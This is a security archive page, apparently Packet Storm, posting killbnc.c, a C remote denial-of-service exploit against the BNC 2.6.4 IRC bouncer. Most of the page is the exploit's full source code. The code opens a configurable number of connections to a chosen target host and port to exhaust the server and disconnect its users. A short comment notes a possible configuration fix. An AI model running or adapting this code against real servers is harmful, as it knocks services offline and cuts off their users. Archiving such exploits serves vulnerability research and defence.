what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

killbnc.c

killbnc.c
Posted Sep 8, 2000
Authored by vade79, realhalo | Site realhalo.org

BNC 2.6.4 remote denial of service exploit. Causes all users who are connected to IRC by BNC by exhausting the resources of the BNC server.

tags | exploit, remote, denial of service
SHA-256 | 2b404efc7917d8d05e17566fbbda6f862e58ad17893ed5aac38f790bba57dbeb

killbnc.c

Change Mirror Download
/* (*)bnc[2.6.4]: denial of service, by: v9[v9@fakehalo.org].  this is a simple
way to deny service to the bnc bounce daemon. when executed successfully,
will result in the user(s) of the server quitting irc (probably with an "EOF
From client") and the server crashing or will result in massive cpu usage and
an eventual ping timeout of the user(s) using the bnc server.

note: this is a modifcation of another version of my killbnc.c, which yielded
some different results, and was somewhat less effective. in some cases it is
still needed to have unlimited users or a high amount of users to exploit it.

possible quick fix: "D:*:<low ulimit>:*" in your config file stops immediate
denial of service in some cases.
*/
#define AMOUNT 256 // (default) connection amount, a few over the top.
#define PAUSE 10 // (default) delay time till dropped/exit. (secs)
#define DELAY 0 // (default) connection delay/intervals. (msecs)
#define TIMEOUT 10 // (default) time to wait for connection.
#include <stdio.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
void timeout(){
fprintf(stderr,"timeout!\n[status]: connection timeout. (%d)\n",TIMEOUT);
exit(-1);
}
void killed(){
fprintf(stderr,"aborted!\n[status]: user aborted.\n");
exit(-1);
}
int main(int argc,char **argv){
int i,j=0,k=0,sock,check,amount,pause,delay;
struct hostent *t;
struct sockaddr_in s;
printf("[ (*)bnc[2.6.4]: denial of service, by: v9[v9@fakehalo.org]. ]\n");
if(argc<3){printf("*** syntax: %s <target> <port> [amount] [exit pause(s)] [interval(ms)].\n",argv[0]);exit(-1);}
if(argc>3){amount=atoi(argv[3]);}
else{amount=AMOUNT;}
if(argc>4){pause=atoi(argv[4]);}
else{pause=PAUSE;}
if(argc>5){delay=atoi(argv[5]);}
else{delay=DELAY;}
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(t=gethostbyname(argv[1]))){
printf("error: couldn't resolve. (%s)\n",argv[1]);
exit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(atoi(argv[2]));
printf("[status]: hitting %s:%d %d time(s), with %dms interval(s).\n",argv[1],atoi(argv[2]),amount,delay);
fprintf(stderr,"[status]: (. = connected, ! = failed): ");
signal(SIGINT,killed);
signal(SIGALRM,timeout);
for(i=0;i<amount;i++){
sock=socket(AF_INET,SOCK_STREAM,0);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
fprintf(stderr,"!");
k++;
}
else{
fprintf(stderr,".");
j++;
}
alarm(0);
usleep(delay);
}
fprintf(stderr,"done!\n[status]: %d connected/%d failed, waiting %d second(s): ",j,k,pause);
for(i=0;pause>i;i++){
fprintf(stderr,".");
sleep(1);
}
fprintf(stderr,"dropping!\n[status]: finished.\n");
close(sock);
exit(0);
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close